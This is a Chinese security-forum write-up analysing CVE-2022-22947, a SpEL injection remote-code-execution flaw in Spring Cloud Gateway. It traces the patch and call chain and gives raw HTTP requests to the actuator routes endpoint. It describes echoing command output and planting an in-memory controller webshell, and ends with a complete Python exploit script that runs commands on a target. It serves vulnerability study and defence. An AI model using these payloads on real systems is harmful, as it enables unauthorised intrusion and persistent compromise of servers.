问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Spring Cloud Gateway表达式注入 远程命令执行漏洞 CVE-2022-22947
# Spring Cloud Gateway表达式注入 远程命令执行漏洞 CVE-2022-22947 ## 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提...
Spring Cloud Gateway表达式注入 远程命令执行漏洞 CVE-2022-22947 ================================================= 漏洞描述 ---- Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。 近日VMware官方发布了Spring Cloud Gateway存在SPEL表达式注入漏洞CVE-2022-22947,可导致未授权远程命令执行漏洞: 漏洞影响 ---- Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway 其他已不再更新的版本 网络测绘 ---- app="vmware-SpringBoot-Framework" 漏洞复现 ---- 可以从Github下载存在漏洞的版本v3.1.0,然后用idea载入: ![img](https://shs3.b.qianxin.com/butian_public/f5633357af3648c95c415d5629b0d1a6f093c3fd0a789.jpg) <br/> 从漏洞通报来看,这是一个SPEL表达式注入漏洞,对比补丁`org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue`: ![img](https://shs3.b.qianxin.com/butian_public/f2754112487cef856a774335b402b9623d075f0ed51ba.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f5328998e2d1d41b21b9cb449cb9260b0f6078c1d7e93.jpg) <br/> 新版本将`getValue`函数中的`StandardEvaluationContext`替换成了`SimpleEvaluationContext`,从而修复了SPEL表达式注入。寻找`getValue`函数被调用的情况 ![img](https://shs3.b.qianxin.com/butian_public/f20392845608fe991da5ccc3ba2118353ffe1aed10018.jpg) <br/> 只在枚举值`ShortcutType`的三个取值(`DEFAULT`、`GATHER_LIST`、`GATHER_LIST_TAIL_FLAG`)中被调用: ![img](https://shs3.b.qianxin.com/butian_public/f1587380c2bb287ec3fd74f4f37ced3519d45e4396a5c.jpg) <br/> 三个调用类似,以`DEFAULT`为例,继续寻找调用关系: ![img](https://shs3.b.qianxin.com/butian_public/f9779408e32511930fdba486ea540b78a2ed0781b792b.jpg) 一直定位到`RouteDefinitionLocator#convertToRoute`: ![img](https://shs3.b.qianxin.com/butian_public/f475629a118eb4ffb7feb9970d359a6d2b27cf986bc6b.jpg) <br/> 尝试根据`RouteDefinition`提取`GatewayFilter`列表。这里的调用和路由以及过滤规则有关,查看Spring Cloud Gateway路由相关的接口定义: ![img](https://shs3.b.qianxin.com/butian_public/f869613fcfc7900b8b4a08b225ee43c1d051cf4929fa8.jpg) <br/> 定位处理控制器`org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint`: ![img](https://shs3.b.qianxin.com/butian_public/f798934c98ae2b8fc4a718e7d02e865f3cb193c39533d.jpg) <br/> POST输入参数为`RouteDefinition`类型,与上面调用链中的`convertToRoute`函数的输入参数类型一致。 查看`RouteDefinition`定义: ![img](https://shs3.b.qianxin.com/butian_public/f346989b459e511c5f1c36199fb51f05893933bf28ea4.jpg) <br/> 注意列表型变量`FilterDefinition`的定义: ![img](https://shs3.b.qianxin.com/butian_public/f1701388d2627736b6f023e1787c7f6afcf9922a2a047.jpg) <br/> 参考`RouteDefinition`变量的定义很容易出构造POST测试请求: ```powershell POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 166 { "id": "id", "filters": [{ "name": "123456", "args": {} }], "uri": "http://localhost" } ``` 触发断点: ![img](https://shs3.b.qianxin.com/butian_public/f862940b828265dfd175a5f06cc96d797cd2890f72046.jpg) <br/> 首先会通过函数`validateRouteDefinition`对参数进行了检查: ![img](https://shs3.b.qianxin.com/butian_public/f306914d204aab975f86afe0eb74f10da0e4d27021660.jpg) <br/> 进入验证函数`isAvailable`: ![img](https://shs3.b.qianxin.com/butian_public/f301589c52a78fa371cc8dcac15984278596b066f9d23.jpg) 代码中会验证`Filter`的`name`属性是否合法,合法列表整理如下: ```powershell class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory ``` <br/> 可以随意选择其中的一个`GatewayFilterFactory`,比如利用`Retry`来修改请求包: ```powershell POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 181 { "id": "1234567", "filters": [{ "name": "Retry", "args": { "a":"payload" } }], "uri": "http://localhost" } ``` <br/> 请求后显示路由创建成功。可以通过refresh来生效: ```json POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:9000 Connection: close ``` <br/> 成功触发表达式解析: ![img](https://shs3.b.qianxin.com/butian_public/f286842d75b97920442b49e9f87a49aa8f8a2cdc8d3cc.jpg) ### 武器化一:命令回显 <br/>通过调试发现,在refresh路由时会调用对应`GatewayFilter`的`apply`函数。当成功创建新的路由后,可以通过GET请求获取配置信息: ![img](https://shs3.b.qianxin.com/butian_public/f5600956007311016b09918d4ae8477aa4af2dfa31373.jpg) <br/>回顾前面合法的`GatewayFilter`列表,我们发现存在一个名为`AddResponseHeaderGatewayFilterFactory`的子类: ![img](https://shs3.b.qianxin.com/butian_public/f635185a1929744df83908f7aff3d6d70fa3f78c45a8b.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f95386729f5dd23774c50e8319d9f5f366962c636e498.jpg) <br/>`apply`函数会将配置信息写入HTTP响应数据包中,所以可以尝试利用`AddResponseHeaderGatewayFilterFactory`来构造命令回显请求: ![img](https://shs3.b.qianxin.com/butian_public/f9507354a00351e787dec8bef2f349a9f4902e9c67247.jpg) <br/>refresh执行SPEL表达式,将结果写入HTTP响应流,然后访问创建的路由,可以将命令执行的结果回显出来: ![img](https://shs3.b.qianxin.com/butian_public/f3888042de9a99515e8c6731f8294c69a2a9b1c7ef8b7.jpg) <br/>最后可以发送DELETE请求将创建的新路由删除。 ### 武器化二:Spring Controller内存马 <br/>CVE-2022-22947是一个SPEL表达式注入漏洞,并且框架基于Spring Framework实现,所以我们考虑通过漏洞注入Spring内存马。Spring可以在Controller、Interceptor等不同层级构建不同的内存马 ```json 本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解,这里有两个比较关键的类: `RequestMappingInfo`:一个封装类,对一次http请求中的相关信息进行封装 `HandlerMethod`:对Controller的处理请求方法的封装,里面包含了该方法所属的bean、method、参数等对象 函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索,借助`java-object-searcher`搜索,结果如下: ``` ![img](https://shs3.b.qianxin.com/butian_public/f276041c2dd89fc480ecf9b510367a4b9ab8f37149a34.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f5896140e6efdd5d71a66c3686ec392489003fedf6130.jpg) <br/>除了上面通过`Thread`的方式提取`RequestMappingInfo`之外,通过观察SPEL表达式解析的代码发现上下文环境存在`beanFactory`的对象: ![img](https://shs3.b.qianxin.com/butian_public/f243347c59d5054211b89b36859eda30506f4c153796e.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f378021612c48c509e996f5fecb49e955dc394eaece4b.jpg) <br/>存有337个Bean对象信息,可以利用下面代码辅助打印结果: ```json for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){ System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]); } ``` ![img](https://shs3.b.qianxin.com/butian_public/f400896ccd671b0c5d81f593ba5a4b79c7ad3389a7b56.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f9752368efb8277454090d3994f7a0f7e11ae03444bdb.jpg) <br/>直接利用SPEL上线文环境中的`beanFactory`即可获取`RequestMappingHandlerMapping`对象。SPEL表达式中可以通过`@`来获取`BeanResolver`配置的beans对象: ![img](https://shs3.b.qianxin.com/butian_public/f1894016ba2a733374f1bd3c42e2f3bd482574ac223ec.jpg) <br/>接下来创建内存马的过程就很简单了,最终效果就是将如下自定义的`Controller`子类通过SPEL表达式注入到内存并通过`RequestMappingHandlerMapping`对象完成路由注册: ![img](https://shs3.b.qianxin.com/butian_public/f343012c126714d82a82f19797b8bf16e1fd4afe0d37e.jpg) <br/>构造完新的payload后,发送数据包: ![img](https://shs3.b.qianxin.com/butian_public/f79045372481a186bdefe2229b7a290a45f86583a0d45.jpg) <br/>refresh后将注入内存马: ![img](https://shs3.b.qianxin.com/butian_public/f93797126e29adae0247d14e5e8bcd7acabb76e9dd24a.jpg) <br/>最后同样记得发送DELETE请求将创建的路由删除。 漏洞POC ----- [https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947/blob/main/spring\_cloud\_RCE.py](https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947/blob/main/spring_cloud_RCE.py) ```python import requests import json import sys def exec(url): headers1 = { 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Accept-Language': 'en', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36', 'Content-Type': 'application/json' } headers2 = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } ## command to execute replace "id" in payload payload = '''{\r "id": "hacktest",\r "filters": [{\r "name": "AddResponseHeader",\r "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r }],\r "uri": "http://example.com",\r "order": 0\r }''' re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json) re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2) re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2) re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2) re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2) print(re3.text) if __name__ == "__main__": print(''' ██████ ██ ██ ████████ ████ ████ ████ ████ ████ ████ ████ ██ ██████ ██░░░░██░██ ░██░██░░░░░ █░░░ █ █░░░██ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░█ ░░░░░░█ ██ ░░ ░██ ░██░██ ░ ░█░█ █░█░ ░█░ ░█ ░ ░█░ ░█░█ ░█ █ ░█ ░█ ░██ ░░██ ██ ░███████ █████ ███ ░█ █ ░█ ███ ███ █████ ███ ███ ░ ████ ██████ █ ░██ ░░██ ██ ░██░░░░ ░░░░░ █░░ ░██ ░█ █░░ █░░ ░░░░░ █░░ █░░ ░░░█ ░░░░░█ █ ░░██ ██ ░░████ ░██ █ ░█ ░█ █ █ █ █ █ ░█ █ ░░██████ ░░██ ░████████ ░██████░ ████ ░██████░██████ ░██████░██████ █ ░█ █ ░░░░░░ ░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░ ░ ░ ██ ██ ██ ░██ ██ ██ ░██ ░██ ░██ ░░██ ██ ░██ ██ ██ █████ ░██ ██ ██████ ███████ █████ ░██████ ░░███ ░██░██ ░██ ██░░░██░██ ██ ██░░░░██░░██░░░██ ██░░░██ ░██░░░██ ░██ ██ ░██░██ ░██░██ ░░ ░████ ░██ ░██ ░██ ░██░███████ ░██ ░██ ██ ░░ ░██░██ ░██░██ ██░██░██ ░██ ░██ ░██ ░██░██░░░░ ░██████ ██ ██ ███░░██████░░█████ ░██░░██░░██████ ███ ░██░░██████ ░░░░░ ░░ ░░ ░░░ ░░░░░░ ░░░░░ ░░ ░░ ░░░░░░ ░░░ ░░ ░░░░░░ usage: python3 test.py url ''') if(len(sys.argv)>1): url = sys.argv[1] exec(url) else: exit() ``` 参考文章 ---- [https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u\_3Uw](https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw)
发表于 2024-07-12 18:48:59
阅读 ( 1317 )
分类:
开发框架
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!